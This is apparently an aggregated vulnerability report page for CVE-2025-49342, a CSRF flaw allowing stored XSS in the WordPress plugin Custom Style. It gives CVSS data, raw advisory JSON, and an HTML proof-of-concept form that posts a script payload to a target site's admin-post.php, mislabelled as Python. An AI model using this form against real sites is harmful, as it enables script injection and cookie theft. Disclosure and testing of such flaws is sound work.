Security Vulnerability Report
中文
CVE-2025-49342 CVSS 7.1 HIGH

CVE-2025-49342

Published: 2025-12-31 06:15:41
Last Modified: 2026-04-23 15:31:30

Description

Cross-Site Request Forgery (CSRF) vulnerability in merzedes Custom Style custom-style allows Stored XSS.This issue affects Custom Style: from n/a through <= 1.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Custom Style <= 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-49342 - Custom Style Plugin Stored XSS --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC</title> </head> <body> <h1>Custom Style Plugin CSRF PoC</h1> <p>Click the button below to trigger the attack:</p> <form action="http://target-wordpress-site/wp-admin/admin-post.php" method="POST" id="csrfForm"> <input type="hidden" name="action" value="save_custom_style"> <input type="hidden" name="custom_style_data" value='<script>alert(document.cookie)</script>'> <input type="hidden" name="nonce" value="attacker_controlled_or_missing"> </form> <button type="submit" onclick="document.getElementById('csrfForm').submit();">Click Me</button> <script> // Auto-submit on page load (for demonstration) // window.onload = function() { document.getElementById('csrfForm').submit(); }; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49342", "sourceIdentifier": "[email protected]", "published": "2025-12-31T06:15:40.517", "lastModified": "2026-04-23T15:31:30.073", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in merzedes Custom Style custom-style allows Stored XSS.This issue affects Custom Style: from n/a through <= 1.0."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Wolfgang Häfelinger Custom Style permite XSS almacenado. Este problema afecta a Custom Style: desde n/a hasta 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-style/vulnerability/wordpress-custom-style-plugin-1-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}